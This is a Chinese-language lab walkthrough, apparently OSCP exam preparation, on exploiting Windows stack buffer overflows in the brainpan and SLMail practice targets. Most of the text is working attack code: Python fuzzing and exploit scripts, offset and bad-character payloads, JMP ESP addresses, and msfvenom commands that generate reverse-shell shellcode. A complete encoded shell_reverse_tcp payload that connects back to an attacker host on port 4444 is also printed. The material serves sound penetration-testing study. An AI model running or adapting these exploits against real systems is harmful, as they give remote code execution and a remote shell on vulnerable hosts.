理論准備
棧溢出的原理 英文的,但棧結構、函數調用中棧的變化講的確實透徹
《0day安全:軟件漏洞分析技術(第二版)》前四章
土司有個帖子有發pwk課程(oscp)的pdf掃描版:原理解釋不夠上面那個詳細,但是流程很清晰(畢竟考的也不是很深)
已通過大佬的博客 這個用來對照看實際操作
環境准備
Windows7虛擬機(我選了IE8,其實也沒什么關系) 微軟官方下載地址
These virtual machines expire after 90 days. We recommend setting a snapshot when you first install the virtual machine which you can roll back to later. Mac users will need to use a tool that supports zip64, like The Unarchiver, to unzip the files.
The password to your VM is "Passw0rd!"
進入虛擬機安裝immunity debugger(檢測到沒有python2.7.1的話,它會自己安裝的)
github下載mona.py,用於immunity debugger mona倉庫
GitHub獲取經典練習案例 鏈接
win7靶機IP:192.168.195.130
一般流程
1.fuzz觸發溢出
2.控制EIP,即找到eip地址在我們溢出數據中的哪個位置
3.確認有多大的空間可以用來放shellcode
4.剔除會導致shellcode運行異常的壞字符
5.尋找跳板——jmp esp:
因為shellcode存放在esp中,但esp的地址是不固定的。所以我們eip中不能直接放esp的地址。
匯編中有一條指令 JMP ESP。如果我們能夠找到包含這條指令的靜態內存地址,那么我們就能修改EIP寄存器的值為JMP ESP的內存地址,由該指令跳轉到ESP寄存器來執行我們的shellcode
⭐在mona展示的modules表里關鍵看表中的5列:Rebase、SafeSEH、ASLR、NXCompat、OS Dll
其中Rebase表示重啟后是否會改變地址、False即不改變;SafeSEH、ASLR、NXCompat這三項都是Windows相關的安全機制;OS Dll表示是否是OS自帶的庫。即前四列選False,最后一列選True(false有時也行,比如就是漏洞程序本身的時候)。
所以可以挑出上圖選中的那些模塊逐一嘗試,然后進一步確認其是否有JMP ESP指令。
具體練習
brainpan
win7上先把brainpan.exe跑起來。用如下腳本嘗試fuzz
import socket
buffers = [b"A"]
ip = "192.168.195.130"
port = 9999
addr = (ip, port)
counter = 100
while len(buffers) <= 30:
buffers.append(b"A"*counter)
counter = counter + 100
for buffer in buffers:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(buffer)
s.recv(4096)
s.close()
print("send %s bytes" % len(buffer))
在600byte時目標程序崩潰。
下一步尋找eip的位置
打開immunity debugger attach到正在運行的brainpan.exe上去
修改上面的腳本,只發送如圖所示payload。腳本運行后,immunity debugger在點擊繼續運行。發現變化
eip 35724134 (也就是5rA4)
我們找一下它在我們payload中的位置
eip = b'A' * 524 + b'aaaa' # a 61
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(eip)
s.recv(4096)
s.close()
驗證一下發現eip確實變成了61616161
下面計算esp能放多少字符
把payload改為
buff = b'A' * 524 + b'aaaa' + b'C' * (3000 - 524 - 4) #3000是往大了寫
可以看到esp里已經都是c了,在右下的棧圖里,找出cccc的起點和終點
0028FD60,0028FF34
0028FF34 - 0028FD60 = 468
也就是說我們有468byte可以用來放shellcode。
下面來剔除壞字符:
將payload修改如下發送
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x40"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
b"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0")
buff = b'A' * 524 + b'aaaa' + badchars
右鍵esp地址,選擇follow in dump。左下窗口就會顯示到esp.
可以發現00之后的字符並不是預計的11,說明被截斷了。把badchars中的00替換成已確認無害的01繼續測試,是否還有別的壞字符
可以看到剩余badchars都正常顯示——即壞字符只有0x00
下面開始尋找跳板
immunity debugger 下方pycommands輸入 !mona modules
The columns in this output include the current memory location (base and top addresses), the size
of the module, several flags, the module version, module name, and the path
可以看到brainpan.exe的系統保護機制和rebase都為Flase,可以直接利用。
使用nasm_shell來獲得jmp esp的十六進制指令
┌──(wuerror㉿kali)-[~]
└─$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
接着用mona來尋找指令
!mona find -s "\xff\xe4" -m brainpan.exe
311712F3
x86 Windows是小端序,所以填入eip的值應該是\xf3\x12\x17\x31
接着生成shellcode,可以加上選項:EXITFUNC=thread,以避免反彈shell退出時,服務進程也被殺死。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.195.128 LPORT=4444 -b "\x00" -f python -e x86/shikata_ga_nai -a x86
部分代碼如下
buf = b""
buf += b"\xda\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xba\x21\x6e\x49"
buf += b"\x45\xb1\x52\x31\x50\x17\x83\xc0\x04\x03\x71\x7d\xab"
buf += b"\xb0\x8d\x69\xa9\x3b\x6d\x6a\xce\xb2\x88\x5b\xce\xa1"
buf += b"\xd9\xcc\xfe\xa2\x8f\xe0\x75\xe6\x3b\x72\xfb\x2f\x4c"
buf += b"\x33\xb6\x09\x63\xc4\xeb\x6a\xe2\x46\xf6\xbe\xc4\x77"
buf += b"\x39\xb3\x05\xbf\x24\x3e\x57\x68\x22\xed\x47\x1d\x7e"
buf += b"\x2e\xec\x6d\x6e\x36\x11\x25\x91\x17\x84\x3d\xc8\xb7"
buf += b"\x27\x91\x60\xfe\x3f\xf6\x4d\x48\xb4\xcc\x3a\x4b\x1c"
buf += b"\x1d\xc2\xe0\x61\x91\x31\xf8\xa6\x16\xaa\x8f\xde\x64"
buf += b"\x57\x88\x25\x16\x83\x1d\xbd\xb0\x40\x85\x19\x40\x84"
buf += b"\x50\xea\x4e\x61\x16\xb4\x52\x74\xfb\xcf\x6f\xfd\xfa"
buf += b"\x1f\xe6\x45\xd9\xbb\xa2\x1e\x40\x9a\x0e\xf0\x7d\xfc"
buf += b"\xf0\xad\xdb\x77\x1c\xb9\x51\xda\x49\x0e\x58\xe4\x89"
buf += b"\x18\xeb\x97\xbb\x87\x47\x3f\xf0\x40\x4e\xb8\xf7\x7a"
buf += b"\x36\x56\x06\x85\x47\x7f\xcd\xd1\x17\x17\xe4\x59\xfc"
buf += b"\xe7\x09\x8c\x53\xb7\xa5\x7f\x14\x67\x06\xd0\xfc\x6d"
buf += b"\x89\x0f\x1c\x8e\x43\x38\xb7\x75\x04\x87\xe0\xb6\x54"
buf += b"\x6f\xf3\x38\x44\x2c\x7a\xde\x0c\xdc\x2a\x49\xb9\x45"
buf += b"\x77\x01\x58\x89\xad\x6c\x5a\x01\x42\x91\x15\xe2\x2f"
buf += b"\x81\xc2\x02\x7a\xfb\x45\x1c\x50\x93\x0a\x8f\x3f\x63"
buf += b"\x44\xac\x97\x34\x01\x02\xee\xd0\xbf\x3d\x58\xc6\x3d"
buf += b"\xdb\xa3\x42\x9a\x18\x2d\x4b\x6f\x24\x09\x5b\xa9\xa5"
buf += b"\x15\x0f\x65\xf0\xc3\xf9\xc3\xaa\xa5\x53\x9a\x01\x6c"
buf += b"\x33\x5b\x6a\xaf\x45\x64\xa7\x59\xa9\xd5\x1e\x1c\xd6"
buf += b"\xda\xf6\xa8\xaf\x06\x67\x56\x7a\x83\x97\x1d\x26\xa2"
buf += b"\x3f\xf8\xb3\xf6\x5d\xfb\x6e\x34\x58\x78\x9a\xc5\x9f"
buf += b"\x60\xef\xc0\xe4\x26\x1c\xb9\x75\xc3\x22\x6e\x75\xc6"
buff = b'A' * 524 + b'\xf3\x12\x17\x31' + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(buff)
s.recv(4096)
s.close()
⭐但是並沒有接到反彈shell,用上述方法查看esp內容是否發生變化
取出來對比,可以發現shellcode的前16個字節發生了變化。
可以在shellcode的前面加上0x90進行保護
buff = b'A' * 524 + b'\xf3\x12\x17\x31' + b"\x90" * 16 + buf
執行成功反彈
最終exp:
import socket
ip = "192.168.195.130"
port = 9999
addr = (ip, port)
buf = b""
buf += b"\xda\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xba\x21\x6e\x49"
buf += b"\x45\xb1\x52\x31\x50\x17\x83\xc0\x04\x03\x71\x7d\xab"
buf += b"\xb0\x8d\x69\xa9\x3b\x6d\x6a\xce\xb2\x88\x5b\xce\xa1"
buf += b"\xd9\xcc\xfe\xa2\x8f\xe0\x75\xe6\x3b\x72\xfb\x2f\x4c"
buf += b"\x33\xb6\x09\x63\xc4\xeb\x6a\xe2\x46\xf6\xbe\xc4\x77"
buf += b"\x39\xb3\x05\xbf\x24\x3e\x57\x68\x22\xed\x47\x1d\x7e"
buf += b"\x2e\xec\x6d\x6e\x36\x11\x25\x91\x17\x84\x3d\xc8\xb7"
buf += b"\x27\x91\x60\xfe\x3f\xf6\x4d\x48\xb4\xcc\x3a\x4b\x1c"
buf += b"\x1d\xc2\xe0\x61\x91\x31\xf8\xa6\x16\xaa\x8f\xde\x64"
buf += b"\x57\x88\x25\x16\x83\x1d\xbd\xb0\x40\x85\x19\x40\x84"
buf += b"\x50\xea\x4e\x61\x16\xb4\x52\x74\xfb\xcf\x6f\xfd\xfa"
buf += b"\x1f\xe6\x45\xd9\xbb\xa2\x1e\x40\x9a\x0e\xf0\x7d\xfc"
buf += b"\xf0\xad\xdb\x77\x1c\xb9\x51\xda\x49\x0e\x58\xe4\x89"
buf += b"\x18\xeb\x97\xbb\x87\x47\x3f\xf0\x40\x4e\xb8\xf7\x7a"
buf += b"\x36\x56\x06\x85\x47\x7f\xcd\xd1\x17\x17\xe4\x59\xfc"
buf += b"\xe7\x09\x8c\x53\xb7\xa5\x7f\x14\x67\x06\xd0\xfc\x6d"
buf += b"\x89\x0f\x1c\x8e\x43\x38\xb7\x75\x04\x87\xe0\xb6\x54"
buf += b"\x6f\xf3\x38\x44\x2c\x7a\xde\x0c\xdc\x2a\x49\xb9\x45"
buf += b"\x77\x01\x58\x89\xad\x6c\x5a\x01\x42\x91\x15\xe2\x2f"
buf += b"\x81\xc2\x02\x7a\xfb\x45\x1c\x50\x93\x0a\x8f\x3f\x63"
buf += b"\x44\xac\x97\x34\x01\x02\xee\xd0\xbf\x3d\x58\xc6\x3d"
buf += b"\xdb\xa3\x42\x9a\x18\x2d\x4b\x6f\x24\x09\x5b\xa9\xa5"
buf += b"\x15\x0f\x65\xf0\xc3\xf9\xc3\xaa\xa5\x53\x9a\x01\x6c"
buf += b"\x33\x5b\x6a\xaf\x45\x64\xa7\x59\xa9\xd5\x1e\x1c\xd6"
buf += b"\xda\xf6\xa8\xaf\x06\x67\x56\x7a\x83\x97\x1d\x26\xa2"
buf += b"\x3f\xf8\xb3\xf6\x5d\xfb\x6e\x34\x58\x78\x9a\xc5\x9f"
buf += b"\x60\xef\xc0\xe4\x26\x1c\xb9\x75\xc3\x22\x6e\x75\xc6"
buff = b'A' * 524 + b'\xf3\x12\x17\x31' + b"\x90" * 16 + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(buff)
s.recv(4096)
s.close()
slmail
漏洞環境
可從exploist-db獲取漏洞程序和exp
下載地址
win7一路next默認安裝
有一點不好在於,它不是一個單獨的exe,打掛了重啟很麻煩:電腦->管理->服務:把Seattle Lab POP3 Server這個服務重啟。
在整個過程中,我一直在重復:打掛了重啟服務,admin權限開啟debugger,再attach
fuzz
⭐用admin權限運行immunity debugger attach上去
import socket
buffers = [b"A"]
ip = "192.168.195.130"
port = 110
addr = (ip, port)
counter = 100
while len(buffers) <= 30:
buffers.append(b"A"*counter)
counter = counter + 100
for buffer in buffers:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
data = s.recv(1024)
s.send(b'USER administrator' +b'\r\n')
data = s.recv(1024)
s.send(b'PASS ' + buffer + b'\r\n')
print("send %s bytes" % len(buffer))
程序輸出send 2600 bytes后卡住,同時debugger那邊報異常。可見是2700byte時溢出
尋找eip
msf-pattern_create -l 2700生成payload再打一次以確認eip位置
eip值為39694438
得到偏移為2606
重新修改buffer為
buffer = b'A' * 2606 + b'aaaa' + b'C' * (4000 - 2606 - 4)
0258a128 到0258A2D0 都是c,共424bytes,沒算最下面兩個。總之是夠用的
尋找壞字符
buff修改如下,重啟服務再打一次
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x40"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
b"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0")
buffer = b'A' * 2606 + b'aaaa' + badchars
發現壞字符\x0a,\x00,\x0d
尋找jmp esp
!mona modules
選第一個5F4A358F,即
buffer = b'A' * 2606 + b'\x8f\x35\x4a\x5f' + shellcode
再生成shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.195.128 LPORT=4444 -b "\x00\x0a\x0d" -f python -e x86/shikata_ga_nai -a x86
生成的shellcode只有351byte在范圍內。
嘗試打一次,看是否需要抬高shellcode。
esp部分dump如下
0243A128 28 A1 43 02 23 00 D3 02 (¡C#.Ó
0243A130 00 00 00 00 00 00 FF FF ......ÿÿ
0243A138 31 73 17 83 C3 04 03 30 1sƒÃ0
0243A140 F1 45 10 4A 1D 0B DB B2 ñEJÛ²
0243A148 DE 6C 55 57 EF AC 01 1C ÞlUWï¬
0243A150 40 1D 41 70 6D D6 07 60 @ApmÖ`
0243A158 E6 9A 8F 87 4F 10 F6 A6 暇Oö¦
0243A160 50 09 CA A9 D2 50 1F 09 P.Ê©ÒP.
如上標粗的16byte是不一樣的,所以加上16個nop
buffer = b'A' * 2606 + b'\x8f\x35\x4a\x5f' + b"\x90" * 16 + shellcode
成功!